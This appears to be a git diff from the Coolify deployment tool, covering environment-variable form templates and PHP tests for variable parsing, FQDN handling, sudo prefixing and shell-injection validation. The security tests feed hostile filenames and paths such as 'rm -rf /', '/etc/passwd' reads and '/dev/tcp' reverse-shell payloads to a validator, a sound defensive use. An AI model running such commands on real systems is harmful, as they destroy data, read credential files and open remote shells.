<x-forms.checkbox instantSave id="is_runtime"
helper="Make this variable available in the running container at runtime."
label="Available at Runtime" />
@if (!$env->is_nixpacks)
<x-forms.checkbox instantSave id="is_multiline" label="Is Multiline?" />
@else
@if (!$env->is_nixpacks)
<x-forms.checkbox instantSave id="is_buildtime"
helper="Make this variable available during Docker build process. Useful for build secrets and dependencies."
label="Available at Buildtime" />
@endif
<x-forms.checkbox instantSave id="is_runtime"
helper="Make this variable available in the running container at runtime."
label="Available at Runtime" />
@if (!$env->is_nixpacks)
<x-forms.checkbox instantSave id="is_multiline" label="Is Multiline?" />
@if ($is_multiline === false)
<x-forms.checkbox instantSave id="is_literal"
helper="This means that when you use $VARIABLES in a value, it should be interpreted as the actual characters '$VARIABLES' and not as the value of a variable named VARIABLE.<br><br>Useful if you have $ sign in your value and there are some characters after it, but you would not like to interpolate it from another value. In this case, you should set this to true."
label="Is Literal?" />
@endif
@if ($is_multiline === false)
<x-forms.checkbox instantSave id="is_literal"
helper="This means that when you use $VARIABLES in a value, it should be interpreted as the actual characters '$VARIABLES' and not as the value of a variable named VARIABLE.<br><br>Useful if you have $ sign in your value and there are some characters after it, but you would not like to interpolate it from another value. In this case, you should set this to true."
label="Is Literal?" />
@endif
@endif
@endif
@ -83,26 +77,22 @@
helper="This means that when you use $VARIABLES in a value, it should be interpreted as the actual characters '$VARIABLES' and not as the value of a variable named VARIABLE.<br><br>Useful if you have $ sign in your value and there are some characters after it, but you would not like to interpolate it from another value. In this case, you should set this to true."
label="Is Literal?" />
@else
@if ($is_shared)
<x-forms.checkbox disabled id="is_literal"
helper="This means that when you use $VARIABLES in a value, it should be interpreted as the actual characters '$VARIABLES' and not as the value of a variable named VARIABLE.<br><br>Useful if you have $ sign in your value and there are some characters after it, but you would not like to interpolate it from another value. In this case, you should set this to true."
label="Is Literal?" />
@if ($isSharedVariable)
<x-forms.checkbox disabled id="is_multiline" label="Is Multiline?" />
@else
@if ($isSharedVariable)
<x-forms.checkbox disabled id="is_multiline" label="Is Multiline?" />
@else
@if (!$env->is_nixpacks)
<x-forms.checkbox disabled id="is_buildtime"
helper="Make this variable available during Docker build process. Useful for build secrets and dependencies."
label="Available at Buildtime" />
<x-forms.checkbox disabled id="is_runtime"
helper="Make this variable available in the running container at runtime."
label="Available at Runtime" />
<x-forms.checkbox disabled id="is_multiline" label="Is Multiline?" />
@if ($is_multiline === false)
<x-forms.checkbox disabled id="is_literal"
helper="This means that when you use $VARIABLES in a value, it should be interpreted as the actual characters '$VARIABLES' and not as the value of a variable named VARIABLE.<br><br>Useful if you have $ sign in your value and there are some characters after it, but you would not like to interpolate it from another value. In this case, you should set this to true."
label="Is Literal?" />
@endif
@endif
<x-forms.checkbox disabled id="is_runtime"
helper="Make this variable available in the running container at runtime."
label="Available at Runtime" />
<x-forms.checkbox disabled id="is_multiline" label="Is Multiline?" />
@if ($is_multiline === false)
<x-forms.checkbox disabled id="is_literal"
helper="This means that when you use $VARIABLES in a value, it should be interpreted as the actual characters '$VARIABLES' and not as the value of a variable named VARIABLE.<br><br>Useful if you have $ sign in your value and there are some characters after it, but you would not like to interpolate it from another value. In this case, you should set this to true."
label="Is Literal?" />
@endif
@endif
@endif
@ -115,7 +105,13 @@
@if ($isDisabled)
<div class="flex flex-col w-full gap-2 lg:flex-row">
<x-forms.input disabled id="key" />
<x-forms.input disabled type="password" id="value" />
<x-forms.env-var-input
disabled
type="password"
id="value"
:availableVars="$this->availableSharedVariables"
:projectUuid="data_get($parameters, 'project_uuid')"
:environmentUuid="data_get($parameters, 'environment_uuid')" />
@if ($is_shared)
<x-forms.input disabled type="password" id="real_value" />
@endif
@ -127,7 +123,13 @@
<x-forms.textarea :required="$is_redis_credential" type="password" id="value" />
@else
<x-forms.input :disabled="$is_redis_credential" :required="$is_redis_credential" id="key" />
<x-forms.input :required="$is_redis_credential" type="password" id="value" />
<x-forms.env-var-input
:required="$is_redis_credential"
type="password"
id="value"
:availableVars="$this->availableSharedVariables"
:projectUuid="data_get($parameters, 'project_uuid')"
:environmentUuid="data_get($parameters, 'environment_uuid')" />
@endif
@if ($is_shared)
<x-forms.input :disabled="$is_redis_credential" :required="$is_redis_credential" disabled type="password" id="real_value" />
@ -137,7 +139,13 @@
@else
<div class="flex flex-col w-full gap-2 lg:flex-row">
<x-forms.input disabled id="key" />
<x-forms.input disabled type="password" id="value" />
<x-forms.env-var-input
disabled
type="password"
id="value"
:availableVars="$this->availableSharedVariables"
:projectUuid="data_get($parameters, 'project_uuid')"
:environmentUuid="data_get($parameters, 'environment_uuid')" />
@if ($is_shared)
<x-forms.input disabled type="password" id="real_value" />
@endif
@ -159,29 +167,23 @@
helper="This means that when you use $VARIABLES in a value, it should be interpreted as the actual characters '$VARIABLES' and not as the value of a variable named VARIABLE.<br><br>Useful if you have $ sign in your value and there are some characters after it, but you would not like to interpolate it from another value. In this case, you should set this to true."
label="Is Literal?" />
@else
@if ($is_shared)
<x-forms.checkbox instantSave id="is_literal"
helper="This means that when you use $VARIABLES in a value, it should be interpreted as the actual characters '$VARIABLES' and not as the value of a variable named VARIABLE.<br><br>Useful if you have $ sign in your value and there are some characters after it, but you would not like to interpolate it from another value. In this case, you should set this to true."
label="Is Literal?" />
@if ($isSharedVariable)
<x-forms.checkbox instantSave id="is_multiline" label="Is Multiline?" />
@else
@if ($isSharedVariable)
@if (!$env->is_nixpacks)
<x-forms.checkbox instantSave id="is_buildtime"
helper="Make this variable available during Docker build process. Useful for build secrets and dependencies."
label="Available at Buildtime" />
@endif
<x-forms.checkbox instantSave id="is_runtime"
helper="Make this variable available in the running container at runtime."
label="Available at Runtime" />
@if (!$env->is_nixpacks)
<x-forms.checkbox instantSave id="is_multiline" label="Is Multiline?" />
@else
@if (!$env->is_nixpacks)
<x-forms.checkbox instantSave id="is_buildtime"
helper="Make this variable available during Docker build process. Useful for build secrets and dependencies."
label="Available at Buildtime" />
@endif
<x-forms.checkbox instantSave id="is_runtime"
helper="Make this variable available in the running container at runtime."
label="Available at Runtime" />
@if (!$env->is_nixpacks)
<x-forms.checkbox instantSave id="is_multiline" label="Is Multiline?" />
@if ($is_multiline === false)
<x-forms.checkbox instantSave id="is_literal"
helper="This means that when you use $VARIABLES in a value, it should be interpreted as the actual characters '$VARIABLES' and not as the value of a variable named VARIABLE.<br><br>Useful if you have $ sign in your value and there are some characters after it, but you would not like to interpolate it from another value. In this case, you should set this to true."
label="Is Literal?" />
@endif
@if ($is_multiline === false)
<x-forms.checkbox instantSave id="is_literal"
helper="This means that when you use $VARIABLES in a value, it should be interpreted as the actual characters '$VARIABLES' and not as the value of a variable named VARIABLE.<br><br>Useful if you have $ sign in your value and there are some characters after it, but you would not like to interpolate it from another value. In this case, you should set this to true."
label="Is Literal?" />
@endif
@endif
@endif
@ -227,26 +229,22 @@
helper="This means that when you use $VARIABLES in a value, it should be interpreted as the actual characters '$VARIABLES' and not as the value of a variable named VARIABLE.<br><br>Useful if you have $ sign in your value and there are some characters after it, but you would not like to interpolate it from another value. In this case, you should set this to true."
label="Is Literal?" />
@else
@if ($is_shared)
<x-forms.checkbox disabled id="is_literal"
helper="This means that when you use $VARIABLES in a value, it should be interpreted as the actual characters '$VARIABLES' and not as the value of a variable named VARIABLE.<br><br>Useful if you have $ sign in your value and there are some characters after it, but you would not like to interpolate it from another value. In this case, you should set this to true."
label="Is Literal?" />
@if ($isSharedVariable)
<x-forms.checkbox disabled id="is_multiline" label="Is Multiline?" />
@else
@if ($isSharedVariable)
<x-forms.checkbox disabled id="is_multiline" label="Is Multiline?" />
@else
@if (!$env->is_nixpacks)
<x-forms.checkbox disabled id="is_buildtime"
helper="Make this variable available during Docker build process. Useful for build secrets and dependencies."
label="Available at Buildtime" />
<x-forms.checkbox disabled id="is_runtime"
helper="Make this variable available in the running container at runtime."
label="Available at Runtime" />
<x-forms.checkbox disabled id="is_multiline" label="Is Multiline?" />
@if ($is_multiline === false)
<x-forms.checkbox disabled id="is_literal"
helper="This means that when you use $VARIABLES in a value, it should be interpreted as the actual characters '$VARIABLES' and not as the value of a variable named VARIABLE.<br><br>Useful if you have $ sign in your value and there are some characters after it, but you would not like to interpolate it from another value. In this case, you should set this to true."
label="Is Literal?" />
@endif
@endif
<x-forms.checkbox disabled id="is_runtime"
helper="Make this variable available in the running container at runtime."
label="Available at Runtime" />
<x-forms.checkbox disabled id="is_multiline" label="Is Multiline?" />
@if ($is_multiline === false)
<x-forms.checkbox disabled id="is_literal"
helper="This means that when you use $VARIABLES in a value, it should be interpreted as the actual characters '$VARIABLES' and not as the value of a variable named VARIABLE.<br><br>Useful if you have $ sign in your value and there are some characters after it, but you would not like to interpolate it from another value. In this case, you should set this to true."
label="Is Literal?" />
@endif
@endif
@endif

View file

@ -0,0 +1,194 @@
<?php
use App\Models\Application;
use App\Models\Environment;
use App\Models\EnvironmentVariable;
use App\Models\Project;
use App\Models\SharedEnvironmentVariable;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
uses(RefreshDatabase::class);
beforeEach(function () {
// Create test user and team
$this->user = User::factory()->create();
$this->team = Team::factory()->create();
$this->user->teams()->attach($this->team);
// Create project and environment
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
$this->environment = Environment::factory()->create([
'project_id' => $this->project->id,
]);
// Create application for testing
$this->application = Application::factory()->create([
'environment_id' => $this->environment->id,
]);
});
test('shared variable preserves spacing in reference', function () {
$env = EnvironmentVariable::create([
'key' => 'TEST_VAR',
'value' => '{{ project.aaa }}',
'resource_id' => $this->application->id,
'resource_type' => $this->application->getMorphClass(),
]);
$env->refresh();
expect($env->value)->toBe('{{ project.aaa }}');
});
test('shared variable preserves no-space format', function () {
$env = EnvironmentVariable::create([
'key' => 'TEST_VAR',
'value' => '{{project.aaa}}',
'resource_id' => $this->application->id,
'resource_type' => $this->application->getMorphClass(),
]);
$env->refresh();
expect($env->value)->toBe('{{project.aaa}}');
});
test('shared variable with spaces resolves correctly', function () {
// Create shared variable
$shared = SharedEnvironmentVariable::create([
'key' => 'TEST_KEY',
'value' => 'test-value-123',
'type' => 'project',
'project_id' => $this->project->id,
'team_id' => $this->team->id,
]);
// Create env var with spaces
$env = EnvironmentVariable::create([
'key' => 'MY_VAR',
'value' => '{{ project.TEST_KEY }}',
'resource_id' => $this->application->id,
'resource_type' => $this->application->getMorphClass(),
]);
// Verify it resolves correctly
$realValue = $env->real_value;
expect($realValue)->toBe('test-value-123');
});
test('shared variable without spaces resolves correctly', function () {
// Create shared variable
$shared = SharedEnvironmentVariable::create([
'key' => 'TEST_KEY',
'value' => 'test-value-456',
'type' => 'project',
'project_id' => $this->project->id,
'team_id' => $this->team->id,
]);
// Create env var without spaces
$env = EnvironmentVariable::create([
'key' => 'MY_VAR',
'value' => '{{project.TEST_KEY}}',
'resource_id' => $this->application->id,
'resource_type' => $this->application->getMorphClass(),
]);
// Verify it resolves correctly
$realValue = $env->real_value;
expect($realValue)->toBe('test-value-456');
});
test('shared variable with extra internal spaces resolves correctly', function () {
// Create shared variable
$shared = SharedEnvironmentVariable::create([
'key' => 'TEST_KEY',
'value' => 'test-value-789',
'type' => 'project',
'project_id' => $this->project->id,
'team_id' => $this->team->id,
]);
// Create env var with multiple spaces
$env = EnvironmentVariable::create([
'key' => 'MY_VAR',
'value' => '{{ project.TEST_KEY }}',
'resource_id' => $this->application->id,
'resource_type' => $this->application->getMorphClass(),
]);
// Verify it resolves correctly (parser trims when extracting)
$realValue = $env->real_value;
expect($realValue)->toBe('test-value-789');
});
test('is_shared attribute detects variable with spaces', function () {
$env = EnvironmentVariable::create([
'key' => 'TEST',
'value' => '{{ project.aaa }}',
'resource_id' => $this->application->id,
'resource_type' => $this->application->getMorphClass(),
]);
expect($env->is_shared)->toBeTrue();
});
test('is_shared attribute detects variable without spaces', function () {
$env = EnvironmentVariable::create([
'key' => 'TEST',
'value' => '{{project.aaa}}',
'resource_id' => $this->application->id,
'resource_type' => $this->application->getMorphClass(),
]);
expect($env->is_shared)->toBeTrue();
});
test('non-shared variable preserves spaces', function () {
$env = EnvironmentVariable::create([
'key' => 'REGULAR',
'value' => 'regular value with spaces',
'resource_id' => $this->application->id,
'resource_type' => $this->application->getMorphClass(),
]);
$env->refresh();
expect($env->value)->toBe('regular value with spaces');
});
test('mixed content with shared variable preserves all spacing', function () {
$env = EnvironmentVariable::create([
'key' => 'MIXED',
'value' => 'prefix {{ project.aaa }} suffix',
'resource_id' => $this->application->id,
'resource_type' => $this->application->getMorphClass(),
]);
$env->refresh();
expect($env->value)->toBe('prefix {{ project.aaa }} suffix');
});
test('multiple shared variables preserve individual spacing', function () {
$env = EnvironmentVariable::create([
'key' => 'MULTI',
'value' => '{{ project.a }} and {{team.b}}',
'resource_id' => $this->application->id,
'resource_type' => $this->application->getMorphClass(),
]);
$env->refresh();
expect($env->value)->toBe('{{ project.a }} and {{team.b}}');
});
test('leading and trailing spaces are trimmed', function () {
$env = EnvironmentVariable::create([
'key' => 'TRIMMED',
'value' => ' {{ project.aaa }} ',
'resource_id' => $this->application->id,
'resource_type' => $this->application->getMorphClass(),
]);
$env->refresh();
// External spaces trimmed, internal preserved
expect($env->value)->toBe('{{ project.aaa }}');
});

View file

@ -0,0 +1,220 @@
<?php
/**
* Feature tests to verify that FQDN updates don't cause path duplication
* for services with path-based SERVICE_URL/SERVICE_FQDN template variables.
*
* This tests the fix for GitHub issue #7363 where Appwrite and MindsDB services
* had their paths duplicated (e.g., /v1/realtime/v1/realtime) after FQDN updates.
*
* IMPORTANT: These tests require database access and must be run inside Docker:
* docker exec coolify php artisan test --filter ServiceFqdnUpdatePathTest
*/
use App\Models\Server;
use App\Models\Service;
use App\Models\ServiceApplication;
use Illuminate\Foundation\Testing\RefreshDatabase;
uses(RefreshDatabase::class);
test('Appwrite realtime service does not duplicate path on FQDN update', function () {
// Create a server
$server = Server::factory()->create([
'name' => 'test-server',
'ip' => '127.0.0.1',
]);
// Load Appwrite template
$appwriteTemplate = file_get_contents(base_path('templates/compose/appwrite.yaml'));
// Create Appwrite service
$service = Service::factory()->create([
'server_id' => $server->id,
'name' => 'appwrite-test',
'docker_compose_raw' => $appwriteTemplate,
]);
// Create the appwrite-realtime service application
$serviceApp = ServiceApplication::factory()->create([
'service_id' => $service->id,
'name' => 'appwrite-realtime',
'fqdn' => 'https://test.abc/v1/realtime',
]);
// Parse the service (simulates initial setup)
$service->parse();
// Get environment variable
$urlVar = $service->environment_variables()
->where('key', 'SERVICE_URL_APPWRITE')
->first();
// Initial setup should have path once
expect($urlVar)->not->toBeNull()
->and($urlVar->value)->not->toContain('/v1/realtime/v1/realtime')
->and($urlVar->value)->toContain('/v1/realtime');
// Simulate user updating FQDN
$serviceApp->fqdn = 'https://newdomain.com/v1/realtime';
$serviceApp->save();
// Call parse again (this is where the bug occurred)
$service->parse();
// Check that path is not duplicated
$urlVar = $service->environment_variables()
->where('key', 'SERVICE_URL_APPWRITE')
->first();
expect($urlVar)->not->toBeNull()
->and($urlVar->value)->not->toContain('/v1/realtime/v1/realtime')
->and($urlVar->value)->toContain('/v1/realtime');
})->skip('Requires database and Appwrite template - run in Docker');
test('Appwrite console service does not duplicate /console path', function () {
$server = Server::factory()->create();
$appwriteTemplate = file_get_contents(base_path('templates/compose/appwrite.yaml'));
$service = Service::factory()->create([
'server_id' => $server->id,
'docker_compose_raw' => $appwriteTemplate,
]);
$serviceApp = ServiceApplication::factory()->create([
'service_id' => $service->id,
'name' => 'appwrite-console',
'fqdn' => 'https://test.abc/console',
]);
// Parse service
$service->parse();
// Update FQDN
$serviceApp->fqdn = 'https://newdomain.com/console';
$serviceApp->save();
// Parse again
$service->parse();
// Verify no duplication
$urlVar = $service->environment_variables()
->where('key', 'SERVICE_URL_APPWRITE')
->first();
expect($urlVar)->not->toBeNull()
->and($urlVar->value)->not->toContain('/console/console')
->and($urlVar->value)->toContain('/console');
})->skip('Requires database and Appwrite template - run in Docker');
test('MindsDB service does not duplicate /api path', function () {
$server = Server::factory()->create();
$mindsdbTemplate = file_get_contents(base_path('templates/compose/mindsdb.yaml'));
$service = Service::factory()->create([
'server_id' => $server->id,
'docker_compose_raw' => $mindsdbTemplate,
]);
$serviceApp = ServiceApplication::factory()->create([
'service_id' => $service->id,
'name' => 'mindsdb',
'fqdn' => 'https://test.abc/api',
]);
// Parse service
$service->parse();
// Update FQDN multiple times
$serviceApp->fqdn = 'https://domain1.com/api';
$serviceApp->save();
$service->parse();
$serviceApp->fqdn = 'https://domain2.com/api';
$serviceApp->save();
$service->parse();
// Verify no duplication after multiple updates
$urlVar = $service->environment_variables()
->where('key', 'SERVICE_URL_API')
->orWhere('key', 'LIKE', 'SERVICE_URL_%')
->first();
expect($urlVar)->not->toBeNull()
->and($urlVar->value)->not->toContain('/api/api');
})->skip('Requires database and MindsDB template - run in Docker');
test('service without path declaration is not affected', function () {
$server = Server::factory()->create();
// Create a simple service without path in template
$simpleTemplate = <<<'YAML'
services:
redis:
image: redis:7
environment:
- SERVICE_FQDN_REDIS
YAML;
$service = Service::factory()->create([
'server_id' => $server->id,
'docker_compose_raw' => $simpleTemplate,
]);
$serviceApp = ServiceApplication::factory()->create([
'service_id' => $service->id,
'name' => 'redis',
'fqdn' => 'https://redis.test.abc',
]);
// Parse service
$service->parse();
$fqdnBefore = $service->environment_variables()
->where('key', 'SERVICE_FQDN_REDIS')
->first()?->value;
// Update FQDN
$serviceApp->fqdn = 'https://redis.newdomain.com';
$serviceApp->save();
// Parse again
$service->parse();
$fqdnAfter = $service->environment_variables()
->where('key', 'SERVICE_FQDN_REDIS')
->first()?->value;
// Should work normally without issues
expect($fqdnAfter)->toBe('redis.newdomain.com')
->and($fqdnAfter)->not->toContain('//');
})->skip('Requires database - run in Docker');
test('multiple FQDN updates never cause path duplication', function () {
$server = Server::factory()->create();
$appwriteTemplate = file_get_contents(base_path('templates/compose/appwrite.yaml'));
$service = Service::factory()->create([
'server_id' => $server->id,
'docker_compose_raw' => $appwriteTemplate,
]);
$serviceApp = ServiceApplication::factory()->create([
'service_id' => $service->id,
'name' => 'appwrite-realtime',
'fqdn' => 'https://test.abc/v1/realtime',
]);
// Update FQDN 10 times and parse each time
for ($i = 1; $i <= 10; $i++) {
$serviceApp->fqdn = "https://domain{$i}.com/v1/realtime";
$serviceApp->save();
$service->parse();
// Check path is never duplicated
$urlVar = $service->environment_variables()
->where('key', 'SERVICE_URL_APPWRITE')
->first();
expect($urlVar)->not->toBeNull()
->and($urlVar->value)->not->toContain('/v1/realtime/v1/realtime')
->and($urlVar->value)->toContain('/v1/realtime');
}
})->skip('Requires database and Appwrite template - run in Docker');

View file

@ -15,3 +15,35 @@
->and($hash1)->not->toBe($hash3)
->and($hash2)->not->toBe($hash3);
});
/**
* Unit test to verify that inject_build_args_to_dockerfile is included in configuration change detection.
* Tests the behavior of the isConfigurationChanged method by verifying that different
* inject_build_args_to_dockerfile values produce different configuration hashes.
*/
it('different inject_build_args_to_dockerfile values produce different hashes', function () {
// Test that the hash calculation includes inject_build_args_to_dockerfile by computing hashes with different values
// true becomes '1', false becomes '', so they produce different hashes
$hash1 = md5(base64_encode('test'.true)); // 'test1'
$hash2 = md5(base64_encode('test'.false)); // 'test'
$hash3 = md5(base64_encode('test')); // 'test'
expect($hash1)->not->toBe($hash2)
->and($hash2)->toBe($hash3); // false and empty string produce the same result
});
/**
* Unit test to verify that include_source_commit_in_build is included in configuration change detection.
* Tests the behavior of the isConfigurationChanged method by verifying that different
* include_source_commit_in_build values produce different configuration hashes.
*/
it('different include_source_commit_in_build values produce different hashes', function () {
// Test that the hash calculation includes include_source_commit_in_build by computing hashes with different values
// true becomes '1', false becomes '', so they produce different hashes
$hash1 = md5(base64_encode('test'.true)); // 'test1'
$hash2 = md5(base64_encode('test'.false)); // 'test'
$hash3 = md5(base64_encode('test')); // 'test'
expect($hash1)->not->toBe($hash2)
->and($hash2)->toBe($hash3); // false and empty string produce the same result
});

View file

@ -0,0 +1,83 @@
<?php
/**
* Database Backup Security Tests
*
* Tests to ensure database backup functionality is protected against
* command injection attacks via malicious database names.
*
* Related Issues: #2 in security_issues.md
* Related Files: app/Jobs/DatabaseBackupJob.php, app/Livewire/Project/Database/BackupEdit.php
*/
test('database backup rejects command injection in database name with command substitution', function () {
expect(fn () => validateShellSafePath('test$(whoami)', 'database name'))
->toThrow(Exception::class);
});
test('database backup rejects command injection with semicolon separator', function () {
expect(fn () => validateShellSafePath('test; rm -rf /', 'database name'))
->toThrow(Exception::class);
});
test('database backup rejects command injection with pipe operator', function () {
expect(fn () => validateShellSafePath('test | cat /etc/passwd', 'database name'))
->toThrow(Exception::class);
});
test('database backup rejects command injection with backticks', function () {
expect(fn () => validateShellSafePath('test`whoami`', 'database name'))
->toThrow(Exception::class);
});
test('database backup rejects command injection with ampersand', function () {
expect(fn () => validateShellSafePath('test & whoami', 'database name'))
->toThrow(Exception::class);
});
test('database backup rejects command injection with redirect operators', function () {
expect(fn () => validateShellSafePath('test > /tmp/pwned', 'database name'))
->toThrow(Exception::class);
expect(fn () => validateShellSafePath('test < /etc/passwd', 'database name'))
->toThrow(Exception::class);
});
test('database backup rejects command injection with newlines', function () {
expect(fn () => validateShellSafePath("test\nrm -rf /", 'database name'))
->toThrow(Exception::class);
});
test('database backup escapes shell arguments properly', function () {
$database = "test'db";
$escaped = escapeshellarg($database);
expect($escaped)->toBe("'test'\\''db'");
});
test('database backup escapes shell arguments with double quotes', function () {
$database = 'test"db';
$escaped = escapeshellarg($database);
expect($escaped)->toBe("'test\"db'");
});
test('database backup escapes shell arguments with spaces', function () {
$database = 'test database';
$escaped = escapeshellarg($database);
expect($escaped)->toBe("'test database'");
});
test('database backup accepts legitimate database names', function () {
expect(fn () => validateShellSafePath('postgres', 'database name'))
->not->toThrow(Exception::class);
expect(fn () => validateShellSafePath('my_database', 'database name'))
->not->toThrow(Exception::class);
expect(fn () => validateShellSafePath('db-prod', 'database name'))
->not->toThrow(Exception::class);
expect(fn () => validateShellSafePath('test123', 'database name'))
->not->toThrow(Exception::class);
});

View file

@ -0,0 +1,93 @@
<?php
/**
* File Storage Security Tests
*
* Tests to ensure file storage directory mount functionality is protected against
* command injection attacks via malicious storage paths.
*
* Related Issues: #6 in security_issues.md
* Related Files:
* - app/Models/LocalFileVolume.php
* - app/Livewire/Project/Service/Storage.php
*/
test('file storage rejects command injection in path with command substitution', function () {
expect(fn () => validateShellSafePath('/tmp$(whoami)', 'storage path'))
->toThrow(Exception::class);
});
test('file storage rejects command injection with semicolon', function () {
expect(fn () => validateShellSafePath('/data; rm -rf /', 'storage path'))
->toThrow(Exception::class);
});
test('file storage rejects command injection with pipe', function () {
expect(fn () => validateShellSafePath('/app | cat /etc/passwd', 'storage path'))
->toThrow(Exception::class);
});
test('file storage rejects command injection with backticks', function () {
expect(fn () => validateShellSafePath('/tmp`id`/data', 'storage path'))
->toThrow(Exception::class);
});
test('file storage rejects command injection with ampersand', function () {
expect(fn () => validateShellSafePath('/data && whoami', 'storage path'))
->toThrow(Exception::class);
});
test('file storage rejects command injection with redirect operators', function () {
expect(fn () => validateShellSafePath('/tmp > /tmp/evil', 'storage path'))
->toThrow(Exception::class);
expect(fn () => validateShellSafePath('/data < /etc/shadow', 'storage path'))
->toThrow(Exception::class);
});
test('file storage rejects reverse shell payload', function () {
expect(fn () => validateShellSafePath('/tmp$(bash -i >& /dev/tcp/10.0.0.1/8888 0>&1)', 'storage path'))
->toThrow(Exception::class);
});
test('file storage escapes paths properly', function () {
$path = "/var/www/app's data";
$escaped = escapeshellarg($path);
expect($escaped)->toBe("'/var/www/app'\\''s data'");
});
test('file storage escapes paths with spaces', function () {
$path = '/var/www/my app/data';
$escaped = escapeshellarg($path);
expect($escaped)->toBe("'/var/www/my app/data'");
});
test('file storage escapes paths with special characters', function () {
$path = '/var/www/app (production)/data';
$escaped = escapeshellarg($path);
expect($escaped)->toBe("'/var/www/app (production)/data'");
});
test('file storage accepts legitimate absolute paths', function () {
expect(fn () => validateShellSafePath('/var/www/app', 'storage path'))
->not->toThrow(Exception::class);
expect(fn () => validateShellSafePath('/tmp/uploads', 'storage path'))
->not->toThrow(Exception::class);
expect(fn () => validateShellSafePath('/data/storage', 'storage path'))
->not->toThrow(Exception::class);
expect(fn () => validateShellSafePath('/app/persistent-data', 'storage path'))
->not->toThrow(Exception::class);
});
test('file storage accepts paths with underscores and hyphens', function () {
expect(fn () => validateShellSafePath('/var/www/my_app-data', 'storage path'))
->not->toThrow(Exception::class);
expect(fn () => validateShellSafePath('/tmp/upload_dir-2024', 'storage path'))
->not->toThrow(Exception::class);
});

View file

@ -272,11 +272,9 @@
$result = parseCommandsByLineForSudo($commands, $this->server);
// Note: 'docker' starts with 'do' which is an excluded keyword, so it doesn't get sudo prefix
// This is a known limitation of the startsWith approach. Docker commands still work because
// they typically appear in more complex command sequences or are handled separately.
// docker commands now correctly get sudo prefix (word boundary fix for 'do' keyword)
// The || operator adds sudo to what follows, and subshell adds sudo inside $()
expect($result[0])->toBe('docker ps || sudo echo $(sudo date)');
expect($result[0])->toBe('sudo docker ps || sudo echo $(sudo date)');
});
test('handles whitespace-only commands gracefully', function () {
@ -516,3 +514,110 @@
expect($result[0])->not->toContain('sudo select');
expect($result[2])->toBe(' break');
});
// Tests for word boundary matching - ensuring commands are not confused with bash keywords
test('adds sudo for ifconfig command (not confused with if keyword)', function () {
$commands = collect(['ifconfig eth0']);
$result = parseCommandsByLineForSudo($commands, $this->server);
expect($result[0])->toBe('sudo ifconfig eth0');
expect($result[0])->not->toContain('if sudo');
});
test('adds sudo for ifup command (not confused with if keyword)', function () {
$commands = collect(['ifup eth0']);
$result = parseCommandsByLineForSudo($commands, $this->server);
expect($result[0])->toBe('sudo ifup eth0');
});
test('adds sudo for ifdown command (not confused with if keyword)', function () {
$commands = collect(['ifdown eth0']);
$result = parseCommandsByLineForSudo($commands, $this->server);
expect($result[0])->toBe('sudo ifdown eth0');
});
test('adds sudo for find command (not confused with fi keyword)', function () {
$commands = collect(['find /var -name "*.log"']);
$result = parseCommandsByLineForSudo($commands, $this->server);
expect($result[0])->toBe('sudo find /var -name "*.log"');
});
test('adds sudo for file command (not confused with fi keyword)', function () {
$commands = collect(['file /tmp/test']);
$result = parseCommandsByLineForSudo($commands, $this->server);
expect($result[0])->toBe('sudo file /tmp/test');
});
test('adds sudo for finger command (not confused with fi keyword)', function () {
$commands = collect(['finger user']);
$result = parseCommandsByLineForSudo($commands, $this->server);
expect($result[0])->toBe('sudo finger user');
});
test('adds sudo for docker command (not confused with do keyword)', function () {
$commands = collect(['docker ps']);
$result = parseCommandsByLineForSudo($commands, $this->server);
expect($result[0])->toBe('sudo docker ps');
});
test('adds sudo for fortune command (not confused with for keyword)', function () {
$commands = collect(['fortune']);
$result = parseCommandsByLineForSudo($commands, $this->server);
expect($result[0])->toBe('sudo fortune');
});
test('adds sudo for formail command (not confused with for keyword)', function () {
$commands = collect(['formail -s procmail']);
$result = parseCommandsByLineForSudo($commands, $this->server);
expect($result[0])->toBe('sudo formail -s procmail');
});
test('if keyword with word boundary gets sudo inserted correctly', function () {
$commands = collect(['if [ -f /tmp/test ]; then']);
$result = parseCommandsByLineForSudo($commands, $this->server);
expect($result[0])->toBe('if sudo [ -f /tmp/test ]; then');
});
test('fi keyword with word boundary is not given sudo', function () {
$commands = collect(['fi']);
$result = parseCommandsByLineForSudo($commands, $this->server);
expect($result[0])->toBe('fi');
});
test('for keyword with word boundary is not given sudo', function () {
$commands = collect(['for i in 1 2 3; do']);
$result = parseCommandsByLineForSudo($commands, $this->server);
expect($result[0])->toBe('for i in 1 2 3; do');
});
test('do keyword with word boundary is not given sudo', function () {
$commands = collect(['do']);
$result = parseCommandsByLineForSudo($commands, $this->server);
expect($result[0])->toBe('do');
});

View file

@ -0,0 +1,76 @@
<?php
/**
* PostgreSQL Init Script Security Tests
*
* Tests to ensure PostgreSQL init script management is protected against
* command injection attacks via malicious filenames.
*
* Related Issues: #3, #4 in security_issues.md
* Related Files: app/Livewire/Project/Database/Postgresql/General.php
*/
test('postgresql init script rejects command injection in filename with command substitution', function () {
expect(fn () => validateShellSafePath('test$(whoami)', 'init script filename'))
->toThrow(Exception::class);
});
test('postgresql init script rejects command injection with semicolon', function () {
expect(fn () => validateShellSafePath('test; rm -rf /', 'init script filename'))
->toThrow(Exception::class);
});
test('postgresql init script rejects command injection with pipe', function () {
expect(fn () => validateShellSafePath('test | whoami', 'init script filename'))
->toThrow(Exception::class);
});
test('postgresql init script rejects command injection with backticks', function () {
expect(fn () => validateShellSafePath('test`id`', 'init script filename'))
->toThrow(Exception::class);
});
test('postgresql init script rejects command injection with ampersand', function () {
expect(fn () => validateShellSafePath('test && whoami', 'init script filename'))
->toThrow(Exception::class);
});
test('postgresql init script rejects command injection with redirect operators', function () {
expect(fn () => validateShellSafePath('test > /tmp/evil', 'init script filename'))
->toThrow(Exception::class);
expect(fn () => validateShellSafePath('test < /etc/passwd', 'init script filename'))
->toThrow(Exception::class);
});
test('postgresql init script rejects reverse shell payload', function () {
expect(fn () => validateShellSafePath('test$(bash -i >& /dev/tcp/10.0.0.1/4444 0>&1)', 'init script filename'))
->toThrow(Exception::class);
});
test('postgresql init script escapes filenames properly', function () {
$filename = "init'script.sql";
$escaped = escapeshellarg($filename);
expect($escaped)->toBe("'init'\\''script.sql'");
});
test('postgresql init script escapes special characters', function () {
$filename = 'init script with spaces.sql';
$escaped = escapeshellarg($filename);
expect($escaped)->toBe("'init script with spaces.sql'");
});
test('postgresql init script accepts legitimate filenames', function () {
expect(fn () => validateShellSafePath('init.sql', 'init script filename'))
->not->toThrow(Exception::class);
